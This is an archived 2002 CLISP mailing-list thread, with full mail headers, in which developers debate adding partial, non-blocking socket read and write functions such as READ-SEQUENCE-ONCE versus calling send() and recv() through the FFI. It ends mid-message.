17weX7-0007ko-00 for ; Wed, 02 Oct 2002 01:07:01 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 2 Oct 2002 10:06:48 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 2 Oct 2002 10:06:46 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dave@synergy.org Subject: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 01:08:17 2002 X-Original-Date: Wed, 2 Oct 2002 10:06:45 +0200 Dave Richards wrote: >; data is allocated in initialize-instance as: >; (make-array (nq-size nq) :element-type '(unsigned-byte 8)) > >My desire is to be able to call send() and recv() on the data part of >(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index). I don't understand why you need C for this. Suppose you had READ-SOME-BYTES (or READ-SOME-SEQUENCE or READ-PARTIAL-SEQUENCE or READ-SEQUENCE-PARTIAL), you'd call (READ-SOME-SEQUENCE sequence socket) ;? &optional start end and stay in Lisp. no C. READ-SOME-SEQUENCE is defined as a function which does a single OS = read() resp. recv() into the supplied sequence and returns the number = of bytes/characters/elements read. I didn't decide yet whether it would be allowed to return 0 except at = EOF. I.e., this could well be blocking. The reason is that information = whether it would return immediately or not - if that is of interest to = the application - comes from another source: select(). Therefore a LOOP = of just READ-SOME-SEQUENCE until filled up is guaranteed both not to = poll and to eat data as soon as possible. Similarly for WRITE-SOME-SEQUENCE. Same open issue for returning 0. The = pragmatics is: get me what I can get in one sweep, but don't poll. The pair is trivial to write using the existing CLISP code base: don't = loop until the array is filled up. Just nobody did/does it for years, I = wonder why. Regards, J=F6rg H=F6hle. From sds@gnu.org Wed Oct 02 07:15:14 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wkHR-0006dt-00 for ; Wed, 02 Oct 2002 07:15:13 -0700 Received: (cpmta 29180 invoked from network); 2 Oct 2002 07:15:11 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 2 Oct 2002 07:15:11 -0700 X-Sent: 2 Oct 2002 14:15:11 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g92EF9W05074; Wed, 2 Oct 2002 10:15:09 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 07:17:40 2002 X-Original-Date: 02 Oct 2002 10:15:09 -0400 > * In message > * On the subject of "[clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE" > * Sent on Wed, 2 Oct 2002 10:06:45 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Dave Richards wrote: > > >; data is allocated in initialize-instance as: > >; (make-array (nq-size nq) :element-type '(unsigned-byte 8)) > > > >My desire is to be able to call send() and recv() on the data part of > >(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index). > > I don't understand why you need C for this. > > Suppose you had READ-SOME-BYTES > (or READ-SOME-SEQUENCE > or READ-PARTIAL-SEQUENCE > or READ-SEQUENCE-PARTIAL), you'd call > > (READ-SOME-SEQUENCE sequence socket) ;? &optional start end > > and stay in Lisp. no C. > > READ-SOME-SEQUENCE is defined as a function which does a single OS > read() resp. recv() into the supplied sequence and returns the number > of bytes/characters/elements read. Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE (in addition to READ-SEQUENCE). In addition to READ-SEQUENCE-ONCE, you will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE (and make them generic functions too - see gray.lisp) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux He who laughs last thinks slowest. From dave@synergy.org Wed Oct 02 07:19:33 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wkLc-00009x-00 for ; Wed, 02 Oct 2002 07:19:32 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Wed, 2 Oct 2002 07:19:30 -0700 From: "Dave Richards" To: "Hoehle, Joerg-Cyril" , Subject: RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 In-Reply-To: Importance: Normal X-OriginalArrivalTime: 02 Oct 2002 14:19:30.0836 (UTC) FILETIME=[B9311540:01C26A1E] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 07:26:19 2002 X-Original-Date: Wed, 2 Oct 2002 07:19:29 -0700 > >; data is allocated in initialize-instance as: > >; (make-array (nq-size nq) :element-type '(unsigned-byte 8)) > > > >My desire is to be able to call send() and recv() on the data part of > >(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index). > > I don't understand why you need C for this. It's quite simple. I don't want/need the incomvenience, assumptions and baggage of socket streams. I already have a reasonably high-performance, single-threaded, multi-user implementation. Each socket must be non-blocking. No loops in read or write can exist. I need to manipulate socket options both at the SOL_SOCKET and IPPROTO_TCP level. This application knows a lot more about how it wants to do I/O than CLISP's stream abstraction. It does intellifent buffering, both on input and output. I have my code running in CMUCL now. I prefer CLISP to CMUCL, but at least I have an existence proof. I seem to keep running into CLISP walls. If I can't support 50 simultaneous users (which my current server can) there's no point in making the transition. I've already implemented a CLISP FFI library which gives me accesses to all the interfaces I need. I just can't move data conveniently between my nqueues and the kernel's socket buffers. Dave From dave@synergy.org Wed Oct 02 07:29:48 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wkVY-0001kQ-00 for ; Wed, 02 Oct 2002 07:29:48 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Wed, 2 Oct 2002 07:29:45 -0700 From: "Dave Richards" To: , "Hoehle, Joerg-Cyril" Cc: Subject: RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 In-Reply-To: Importance: Normal X-OriginalArrivalTime: 02 Oct 2002 14:29:45.0867 (UTC) FILETIME=[27C75DB0:01C26A20] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 07:32:11 2002 X-Original-Date: Wed, 2 Oct 2002 07:29:45 -0700 > -----Original Message----- > From: clisp-list-admin@lists.sourceforge.net > [mailto:clisp-list-admin@lists.sourceforge.net]On Behalf Of Sam > Steingold > Sent: Wednesday, October 02, 2002 7:15 AM > To: Hoehle, Joerg-Cyril > Cc: clisp-list@lists.sourceforge.net > Subject: Re: [clisp-list] FFI - Creating c-places in LISP? -> > READ-SOME-SEQUEN CE > > > > * In message > > > * On the subject of "[clisp-list] FFI - Creating c-places in > LISP? -> READ-SOME-SEQUEN CE" > > * Sent on Wed, 2 Oct 2002 10:06:45 +0200 > > * Honorable "Hoehle, Joerg-Cyril" > writes: > > > > Dave Richards wrote: > > > > >; data is allocated in initialize-instance as: > > >; (make-array (nq-size nq) :element-type '(unsigned-byte 8)) > > > > > >My desire is to be able to call send() and recv() on the data part of > > >(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index). > > > > I don't understand why you need C for this. > > > > Suppose you had READ-SOME-BYTES > > (or READ-SOME-SEQUENCE > > or READ-PARTIAL-SEQUENCE > > or READ-SEQUENCE-PARTIAL), you'd call > > > > (READ-SOME-SEQUENCE sequence socket) ;? &optional start end > > > > and stay in Lisp. no C. > > > > READ-SOME-SEQUENCE is defined as a function which does a single OS > > read() resp. recv() into the supplied sequence and returns the number > > of bytes/characters/elements read. > > Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE (in > addition to READ-SEQUENCE). In addition to READ-SEQUENCE-ONCE, you > will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE > (and make them generic functions too - see gray.lisp) Yes, but the semantics of this interface is: do the requested I/O and either (a) block until the specifies I/O completes, or (b) raise a condition indicating it didn't. That's great for almost all applications. What I am trying to create is an interface that layers right on top of the OS. In this interface the semantics are: do the requested I/O without blocking; then tell me how much you actually accomplished. This latter style is exactly what my application needs and is much lighter weight. Realizing the difference between what I wanted and how CLISP streams are perceived to work, I decided to drop below the stream level and use the FFI. (This is not dissimilar from dropped below the C FILE * (stdio) abstraction and using the open(), close(), read() and write() abstraction. Dave From sds@gnu.org Wed Oct 02 07:41:33 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wkgv-0004Le-00 for ; Wed, 02 Oct 2002 07:41:33 -0700 Received: (cpmta 6598 invoked from network); 2 Oct 2002 07:41:30 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 2 Oct 2002 07:41:30 -0700 X-Sent: 2 Oct 2002 14:41:30 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g92EfTi05095; Wed, 2 Oct 2002 10:41:29 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: Subject: Re: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 07:43:09 2002 X-Original-Date: 02 Oct 2002 10:41:29 -0400 > * In message > * On the subject of "RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE" > * Sent on Wed, 2 Oct 2002 07:29:45 -0700 > * Honorable "Dave Richards" writes: > > > > READ-SOME-SEQUENCE is defined as a function which does a single OS > > > read() resp. recv() into the supplied sequence and returns the number > > > of bytes/characters/elements read. > > > > Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE (in > > addition to READ-SEQUENCE). In addition to READ-SEQUENCE-ONCE, you > > will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE > > (and make them generic functions too - see gray.lisp) > > Yes, but the semantics of this interface is: do the requested I/O and > either (a) block until the specifies I/O completes, or (b) raise a > condition indicating it didn't. That's great for almost all > applications. What I am trying to create is an interface that layers > right on top of the OS. In this interface the semantics are: do the > requested I/O without blocking; then tell me how much you actually > accomplished. This latter style is exactly what my application needs > and is much lighter weight. The contract of the READ-*-ONCE (WRITE-*-ONCE) functions is to make a single read() (write()) OS call. They will return the number of objects (bytes or characters) read (written) - just like READ-SEQUENCE (WRITE-SEQUENCE). If this number is smaller than the size of the SEQUENCE argument, the next i/o call will either block or return EOF (i.e., no more data is immediately available). We can even return a second value: NIL, :EOF, or :BLOCK. I think this is what you want. Am I right? > Realizing the difference between what I wanted and how CLISP streams > are perceived to work, I decided to drop below the stream level and > use the FFI. (This is not dissimilar from dropped below the C FILE * > (stdio) abstraction and using the open(), close(), read() and write() > abstraction. I think you are making a mistake here. Please reconsider. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The software said it requires Windows 3.1 or better, so I installed Linux. From sds@gnu.org Wed Oct 02 07:59:23 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wkyB-0004tY-00 for ; Wed, 02 Oct 2002 07:59:23 -0700 Received: (cpmta 19753 invoked from network); 2 Oct 2002 07:59:20 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 2 Oct 2002 07:59:20 -0700 X-Sent: 2 Oct 2002 14:59:20 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g92ExJB05146; Wed, 2 Oct 2002 10:59:19 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: Subject: Re: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 49 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 08:00:47 2002 X-Original-Date: 02 Oct 2002 10:59:19 -0400 > * In message > * On the subject of "RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE" > * Sent on Wed, 2 Oct 2002 07:19:29 -0700 > * Honorable "Dave Richards" writes: > > Each socket must be non-blocking. I am not sure you really need this. Please do not get upset - I recognize the obvious, that you know TCP/IP much better than I do, and you certainly have a better idea of what you are trying to accomplish. OTOH, I might have a slightly better understanding of CLISP's (potential) capabilities. > No loops in read or write can exist. I think that READ-*-ONCE and WRITE-*-ONCE would do what you need. > I need to manipulate socket options both at the SOL_SOCKET and I think you have it now with SOCKET-OPTIONS, right? what is missing? > IPPROTO_TCP level. what is this? > This application knows a lot more about how it wants to do I/O than > CLISP's stream abstraction. Yes, so you might be right that you do need to go low level. OTOH, you might be wrong. :-) > It does intellifent buffering, both on input and output. CLISP does i/o buffering too. > I've already implemented a CLISP FFI library which gives me accesses > to all the interfaces I need. would you like to make it available to other CLISP users? IIUC, it is running on top of CLISP bindings/linuxlibc6 module. maybe we can make it a part of CLISP distribution? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Fighting for peace is like screwing for virginity. From dave@synergy.org Wed Oct 02 08:01:11 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wkzu-0005MF-00 for ; Wed, 02 Oct 2002 08:01:10 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Wed, 2 Oct 2002 08:01:08 -0700 From: "Dave Richards" To: Cc: Subject: RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 In-Reply-To: Importance: Normal X-OriginalArrivalTime: 02 Oct 2002 15:01:08.0669 (UTC) FILETIME=[8A0426D0:01C26A24] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 08:02:56 2002 X-Original-Date: Wed, 2 Oct 2002 08:01:08 -0700 > Yes, but the semantics of this interface is: do the requested I/O and > > either (a) block until the specifies I/O completes, or (b) raise a > > condition indicating it didn't. That's great for almost all > > applications. What I am trying to create is an interface that layers > > right on top of the OS. In this interface the semantics are: do the > > requested I/O without blocking; then tell me how much you actually > > accomplished. This latter style is exactly what my application needs > > and is much lighter weight. > > The contract of the READ-*-ONCE (WRITE-*-ONCE) functions is to make a > single read() (write()) OS call. They will return the number of > objects (bytes or characters) read (written) - just like READ-SEQUENCE > (WRITE-SEQUENCE). > If this number is smaller than the size of the SEQUENCE argument, the > next i/o call will either block or return EOF (i.e., no more data is > immediately available). > We can even return a second value: NIL, :EOF, or :BLOCK. > > I think this is what you want. Am I right? In the previous discussion about TCP-based servers, I raised the issue than the sockets needed to be marked non-blocking. I thought we'd concluded that doing so could potentially break existing stream code. Did I misunderstand? Non-blocking is required to ensure that each I/O only performs what is possible with no delay and that the server is then available to perform other work. This is what I meant by partial read()s/write()s. Dave From sds@gnu.org Wed Oct 02 08:18:09 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wlGK-0000xU-00 for ; Wed, 02 Oct 2002 08:18:08 -0700 Received: (cpmta 19821 invoked from network); 2 Oct 2002 08:18:05 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 2 Oct 2002 08:18:05 -0700 X-Sent: 2 Oct 2002 15:18:05 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g92FI1x05171; Wed, 2 Oct 2002 11:18:01 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: Subject: Re: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 08:20:45 2002 X-Original-Date: 02 Oct 2002 11:18:01 -0400 > * In message > * On the subject of "RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE" > * Sent on Wed, 2 Oct 2002 08:01:08 -0700 > * Honorable "Dave Richards" writes: > > > The contract of the READ-*-ONCE (WRITE-*-ONCE) functions is to make a > > single read() (write()) OS call. They will return the number of > > objects (bytes or characters) read (written) - just like READ-SEQUENCE > > (WRITE-SEQUENCE). > > If this number is smaller than the size of the SEQUENCE argument, the > > next i/o call will either block or return EOF (i.e., no more data is > > immediately available). > > We can even return a second value: NIL, :EOF, or :BLOCK. > > > > I think this is what you want. Am I right? > > In the previous discussion about TCP-based servers, I raised the issue > than the sockets needed to be marked non-blocking. I thought we'd > concluded that doing so could potentially break existing stream code. > Did I misunderstand? Non-blocking is required to ensure that each I/O > only performs what is possible with no delay and that the server is > then available to perform other work. This is what I meant by partial > read()s/write()s. CMIIAW: if you have a regular blocking socket and you call read/write on it and it has _something_, it will not block. the only way it might block is if it has _nothing_. So you can use the regular CLISP buffered socket streams with the proposed WRITE-SEQUENCE-ONCE and READ-SEQUENCE-ONCE and use the second value to decide whether the next i/o will block or not. Alternatively you can use SOCKET-STATUS before i/o: this should be cheap enough because you will be doing block i/o, not byte i/o. WAIM? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The software said it requires Windows 3.1 or better, so I installed Linux. From dave@synergy.org Wed Oct 02 08:25:25 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wlNK-00044F-00 for ; Wed, 02 Oct 2002 08:25:22 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Wed, 2 Oct 2002 08:25:21 -0700 From: "Dave Richards" To: Cc: Subject: RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 In-Reply-To: Importance: Normal X-OriginalArrivalTime: 02 Oct 2002 15:25:21.0383 (UTC) FILETIME=[EBE6B770:01C26A27] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 08:27:12 2002 X-Original-Date: Wed, 2 Oct 2002 08:25:20 -0700 > CMIIAW: if you have a regular blocking socket and you call read/write > on it and it has _something_, it will not block. > the only way it might block is if it has _nothing_. > So you can use the regular CLISP buffered socket streams with the > proposed WRITE-SEQUENCE-ONCE and READ-SEQUENCE-ONCE and use the second > value to decide whether the next i/o will block or not. > Alternatively you can use SOCKET-STATUS before i/o: this should be > cheap enough because you will be doing block i/o, not byte i/o. We can try it. The reason it was unsafe to trust this was because there were implementation of select() (Linux used to be one of them) that would falsely select() true when read() would block. I had to work around this case in my C server. If that happened and the socket wasn't non-blocking, the server would intermittently hang. I am willing to try again. I dislike coding around bugs. But this used to be a problem. Dave From Joerg-Cyril.Hoehle@t-systems.com Wed Oct 02 09:50:05 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wmhH-0000hV-00 for ; Wed, 02 Oct 2002 09:50:03 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 2 Oct 2002 18:49:49 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4D55KW9L>; Wed, 2 Oct 2002 18:49:49 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SE QUENCE MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 09:51:01 2002 X-Original-Date: Wed, 2 Oct 2002 18:49:48 +0200 Dave Richards wrote: >> I don't understand why you need C for this. >It's quite simple. [...] I already have a reasonably=20 >high-performance, >single-threaded, multi-user implementation. [...] >I have my code running in CMUCL now. >I've already implemented a CLISP FFI >library which gives me accesses to all the interfaces I need. I see - you already have a large code base and want to integrate with = that. Then I suggest the following: write a little C extension that does the = following (what READ-/WRITE-SOME-SEQUENCE would do for socket streams): A) locate .d code to get to the pointer to the contents of a Lisp array = (the unpack_...() stuff), even with displaced arrays, :start and :end = keywords etc.. Copy&Paste that code. B) couple that with a single call to recv() or send(). Add in the usual = error reporting of CLISP. Maybe it would even become trivial if READ-SOME-SEQUENCE would be = implemented as a set of functions specialized for files, sockets etc. = You could then call (the hopefully exported) = read_some_bytes_socket(object array, SOCKET fd, ...) from the future = STREAM.D. Sam Steingold wrote: >Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE = (in >addition to READ-SEQUENCE). In addition to READ-SEQUENCE-ONCE, you >will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE >(and make them generic functions too - see gray.lisp) Argh... Too much overhead IMHO. :-( Where's the KISS principle gone? No wonder nobody ever added this functionality in the past. I fear this is going into nightmares -- consider the multi-byte = character / partial read interaction (e.g. that other current thread = about Chinese): what if you read only half of a 2byte character? BTW, I forgot why READ-BYTE/CHAR-SEQUENCE are needed in addition to the = CLHS READ-SEQUENCE. Bruno Haible explained that once IIRC. Dave wrote: >I seem to keep running into CLISP walls. Yeah. I think CLISP lost a few users in the past because of this. Err, = I digress. One wall - where I admitedly recognize myself - is about trying to find = a general solution for partial reads when people would be satisfied = with (unsigned-byte 8) only and don't care about multi-byte characters = and encodings. "Keep the ball running" is in danger in all these MIT = vs. Jersey situations. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Wed Oct 02 09:52:15 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wmjN-00019U-00 for ; Wed, 02 Oct 2002 09:52:13 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 2 Oct 2002 18:52:05 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4D55KW0F>; Wed, 2 Oct 2002 18:52:04 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SE QUEN CE MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 09:54:29 2002 X-Original-Date: Wed, 2 Oct 2002 18:52:02 +0200 [Ok, I'll stop replying to both individuals and the list] Sam Steingold wrote: >CMIIAW: if you have a regular blocking socket and you call read/write >on it and it has _something_, it will not block. >the only way it might block is if it has _nothing_. >So you can use the regular CLISP buffered socket streams with the >proposed WRITE-SEQUENCE-ONCE and READ-SEQUENCE-ONCE and use the second >value to decide whether the next i/o will block or not. >Alternatively you can use SOCKET-STATUS before i/o: this should be >cheap enough because you will be doing block i/o, not byte i/o. I think this is enough for many applications, yet possibly not for Dave's very specialized one. I slightly disagree on a detail: the second value (of what) cannot be used to determine blocking. Having sent 1305 bytes instead of requested 10000 does not necessarily mean that an immediately succeeding read or write will block. The false assumption is that the initial r/w would have returned a larger value otherwise. The OS is perfectly free to return 1 on each r/w. I mean, the OS is free to cut into packets no larger than the low-level MTU and return the size of this one buffer, even if there are more buffers available that it could immediately fill. Only select() can tell whether blocking or not will happen. An application I have in mind would do: 